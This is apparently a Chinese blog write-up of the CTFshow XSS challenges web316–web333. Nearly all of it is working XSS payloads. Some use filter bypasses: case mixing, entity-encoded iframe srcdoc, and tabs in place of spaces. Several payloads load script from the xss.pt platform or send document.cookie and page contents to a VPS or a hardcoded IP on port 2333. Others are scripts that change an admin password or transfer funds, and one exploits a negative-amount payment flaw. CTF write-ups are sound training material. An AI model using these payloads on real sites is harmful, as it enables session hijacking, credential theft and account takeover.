CTFshow——XSS

浅谈XSS在CTF中的一些考点


web316

利用xss平台里的代码进行攻击: https://xss.pt/xss.php

<sCRiPt sRC=//xss.pt/kUIB></sCrIpT>

web317——过滤了script

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='https://xss.pt/kUIB';>

web318——过滤了img

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#107;&#85;&#73;&#66;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web319——

<iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#107;&#85;&#73;&#66;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

web320、321、322——过滤空格

可用tab绕过

<iframe	WIDTH=0	HEIGHT=0	srcdoc=。。。。。。。。。。&#x3C;&#x73;&#x43;&#x52;&#x69;&#x50;&#x74;&#x20;&#x73;&#x52;&#x43;&#x3D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x73;&#x3A;&#x2F;&#x2F;&#x78;&#x73;&#x73;&#x2E;&#x70;&#x74;&#x2F;&#x6B;&#x55;&#x49;&#x42;&#x22;&#x3E;&#x3C;&#x2F;&#x73;&#x43;&#x72;&#x49;&#x70;&#x54;&#x3E;>

web323、325、326——

据说过滤了xss平台的payload…
通过onload事件在页面载入完成后立即触发代码。
用VPS接收,在VPS上开启监听nc -lvp port,一段时间后bot会自动访问,然后就能获得flag:

<body/onload=document.location='http://VPS:port/cookie.php?cookie='+document.cookie;>

web327

存储型XSS
收件人要填admin,然后在输入框都填上payload(毕竟不知道哪个框生效),可以发送到XSS平台,也可用VPS接收。

web328

看见注册、登录这功能,猜测要获取admin的cookie然后进入用户管理界面。
直接在注册时写上payload

<script>window.open('http://VSP:Port'+document.cookie)</script>

盗取了admin的cookie后修改cookie即可

web329

群主设置了把cookie发送给你之前就让它失效了,盗用cookie行不通。

那就直接获取页面元素的内容,然后发送返回给我们。参考一下大佬们是怎么获取的:

feng师傅的方法:

<script>window.open('http://82.157.22.248:2333/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

通过document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML获取到指定的内容,

getElementsByClassName:获取所有指定类名的元素

还有innerHTML和outerHTML的区别
1)innerHTML:
  从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
  除了包含innerHTML的全部内容外, 还包含对象标签本身。

在这里插入图片描述

web330

继续尝试获取密码,但得到的是*******,那么flag放在别的地方。注意到多了个修改密码的功能,估计是要修改密码了

预期解:修改密码,地址是127.0.0.1

<script>window.open("http://127.0.0.1/api/change.php?p=a")</script>

非预期:获取页面源码,用document.querySelector获取,获取的类是div.layui-container,

获取文档中 id=“demo” 的元素:
document.querySelector("#demo");

<script>window.open('http://82.157.22.248:2333/'+document.querySelector('#top > div.layui-container').textContent)</script>

web331

修改密码的方式变成了POST请求,可以尝试用JQuery来发送请求:

<script>$.post("http://api/change.php",{p:123123},"json");</script>

非预期还是获取页面信息:

<script>window.open('http://82.157.22.248:2333/'+document.querySelector('#top > div.layui-container').textContent)</script>

web332

支付逻辑漏洞,没有对用户输入进行过滤,假设我们输入负数,交易成功就会给自己加钱,负负得正嘛。
所以直接转账,金额是-9999即可

web333

利用admin账户给自己转账:
注意:注册的账号,其密码一定不少于6位,不然是买不到flag的

<script>$.post("http://127.0.0.1/api/amount.php",{'u':'ad' ,'a':10000},"json");</script>
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值